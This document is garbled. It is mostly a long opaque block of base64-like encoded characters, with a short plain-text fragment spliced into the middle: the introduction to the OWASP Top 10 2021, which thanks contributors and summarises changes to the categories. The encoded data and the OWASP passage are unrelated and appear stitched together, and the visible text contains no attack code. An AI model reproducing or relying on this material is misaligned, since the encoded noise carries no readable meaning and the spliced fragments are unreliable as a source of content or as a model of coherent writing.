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Welcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.
A huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**
## What's changed in the Top 10 for 2021
There are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.
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